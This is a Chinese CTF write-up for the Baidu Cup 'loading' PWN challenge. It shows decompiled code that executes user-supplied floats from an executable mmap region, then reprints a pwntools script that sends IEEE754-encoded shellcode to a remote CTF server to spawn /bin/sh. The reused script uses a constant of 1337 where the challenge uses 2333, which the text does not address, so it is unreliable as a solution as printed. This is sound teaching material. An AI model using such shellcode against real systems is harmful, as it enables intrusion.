百度杯十一月第一周 PWN loading 详解

原创

aptx4869_li 于 2018-06-11 23:46:42 发布 953 收藏
分类专栏： CTF 文章标签： CTF 百度杯 writeup PWN

PWN-loading-wp

用IDA查看发现只有一个关键函数：

```
1  int __cdecl main(int argc, const char **argv, const char **envp)
2  {
3    signed int v4; // [sp+24h] [bp-Ch]@2
4    signed int i; // [sp+28h] [bp-8h]@1
5    int (*v6)(void); // [sp+2Ch] [bp-4h]@1
6
7    v6 = (int (*)(void))mmap(0, 0x8000u, 7, 34, -1, 0);
8    for ( i = 0; i <= 0x1FFF && __isoc99_scanf((const char *)&unk_80485F0, &v4); ++i )
9      *((float *)v6 + i) = (long double)v4 / 2333.0;
10   write(1, "try to pwn\n", 0xBu);
11   return v6();
12 }
```

首先，了解一下 mmap 函数是干什么的：

推荐一个网址：https://www.cnblogs.com/huxiao-tee/p/4660352.html

我们可以发现这里的v6指向的内存区域经过mmap函数之后拥有了可执行权限，将代码写入数据之后就可以执行，

下面的for循环中 unk_80485F0 指向的内存值为“%d”，故从键盘读入的数据是以整数形式，然后转换为浮点数，再除以“2333.0”，写入v6指向的内存

因此，可以通过构造shellcode使其执行，拿到shell，这里附上大佬写的脚本：

https://github.com/rick2600/writeups/blob/master/PlaidCTF2016/fixedpoint.md

```
import struct
import pwnlib
import time


def get_int(s):
  a = struct.unpack('<f', s)[0]* 1337
  return struct.unpack('I', struct.pack('<I', a))[0]


target = pwnlib.tubes.remote.remote('fixedpoint.pwning.xxx', 7777, ssl=False)

print "Sending IEEE754 shellcode..."
time.sleep(1)

for i in range(3):
  target.sendline(str(get_int('\x00\x00\x00\x00')))

target.sendline(str(get_int('\x99\x89\xc3\x47')))     # mov ebx, eax
target.sendline(str(get_int('\x41\x44\x44\x44')))     # nop/align

for c in '/bin/sh\x00':
  target.sendline(str(get_int('\x99\xb0'+c+'\x47')))  # mov al, c
  target.sendline(str(get_int('\x57\x89\x03\x43')))   # mov [ebx], eax; inc ebx

for i in range(8):
  target.sendline(str(get_int('\x57\x4b\x41\x47')))   # dec ebx

target.sendline(str(get_int('\x99\x31\xc0\x47')))     # xor eax, eax
target.sendline(str(get_int('\x99\x31\xc9\x47')))     # xor ecx, ecx
target.sendline(str(get_int('\x99\x31\xd2\x47')))     # xor edx, edx
target.sendline(str(get_int('\x99\xb0\x0b\x47')))     # mov al, 0xb
target.sendline(str(get_int('\x99\xcd\x80\x47')))     # int 0x80

target.sendline('c')
target.interactive()
```

对于初学者，还是先看看别人是怎么写的，然后学习姿势，自己不断的掌握，提高

这里对脚本的分析有一个i春秋的视频，讲了这个脚本

https://www.ichunqiu.com/course/56465